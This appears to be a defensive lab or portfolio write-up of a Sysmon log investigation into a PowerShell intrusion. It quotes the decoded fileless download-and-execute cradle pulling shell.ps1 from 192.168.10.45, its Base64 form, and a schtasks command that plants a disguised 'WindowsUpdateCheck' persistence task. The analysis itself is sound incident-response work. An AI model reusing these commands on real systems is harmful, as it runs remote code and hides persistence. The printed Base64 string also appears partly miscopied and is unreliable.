

PowerShell-Based Malware Execution and Persistence

This project involved analyzing Sysmon logs (provided in JSON format) to identify:

1. The initial point of compromise
2. The persistence mechanism used by the attacker
3. The attacker's ultimate objective

The investigation was conducted using Visual Studio Code for log analysis and CyberChef for decoding encoded payloads.

Tools Used

1. Sysmon
2. Visual Studio Code
3. CyberChef

Investigation Methodology

Identifying Suspicious Activity

I began by reviewing the Sysmon logs for network connection events (Event ID 3). During the investigation, I discovered a network connection to the IP address: 192.168.10.45. The connection originated from: PowerShell.exe. The associated Process ID could not be determined because the corresponding Process Creation event (Event ID 1) was not present in the dataset.

Why the Activity Was Not Blocked

The attacker leveraged PowerShell, a legitimate Windows administration tool commonly referred to as a Living-off-the-Land Binary (LOLBin).

Because PowerShell:

- Is built into Windows
- Is digitally signed by Microsoft
- Is frequently used by administrators

traditional antivirus solutions may not immediately flag its execution as malicious. Additionally, the attacker used an encoded command (-enc) to conceal the true purpose of the script.

Persistence Analysis

To determine how the attacker maintained access after a system reboot, I searched for process creation events involving persistence-related utilities such as:

- Schtasks.exe
- reg.exe

Although no relevant reg.exe activity was present, I identified the following scheduled task creation command: (/Create /SC MINUTE /MO 30 /TN "WindowsUpdateCheck" /TR "C:\Users\Public\Update.exe")

Findings

The attacker created a scheduled task named: WindowsUpdateCheck

This task executes: C:\Users\Public\Update.exe every 30 minutes, providing persistence and allowing the malicious payload to be re-executed even after system reboots.

Payload Analysis

The PowerShell command contained a Base64-encoded payload:

```
-enc  
SQBFAVggACgATgBIAHcALQBPAGIAagBLAGMAdAAgAE4AZQB0AC4AVwBIAgIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3  
AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALzE5Mi4xNjguMTAuNDUvc2h1bGwucHMxACc  
p
```

Using CyberChef, I decoded the payload and obtained:

```
IEX (New-Object Net.WebClient).DownloadString("http://192.168.10.45/shell.ps1")
```

Analysis

The command performs the following actions:

1. Downloads a remote PowerShell script (shell.ps1) from the attacker's server.
2. Executes the downloaded script directly in memory using IEX (Invoke-Expression).
3. Avoids writing the script to disk, making detection more difficult.

Conclusion

Entry Point

The attack was initiated through a malicious PowerShell command that established communication with:
192.168.10.45

Persistence Mechanism

The attacker established persistence through a scheduled task:

WindowsUpdateCheck
which executed:
C:\Users\Public\Update.exe
every 30 minutes.

Attacker Objective

The attacker's objective was to download and execute a remote PowerShell payload from their command-and-control server, enabling continued execution of malicious code and maintaining access to the compromised system.

Skills Demonstrated

1. Log Analysis
2. Sysmon Investigation
3. Threat Hunting
4. PowerShell Analysis
5. Base64 Decoding
6. Persistence Detection
7. Incident Response
8. Malware Analysis Fundamentals

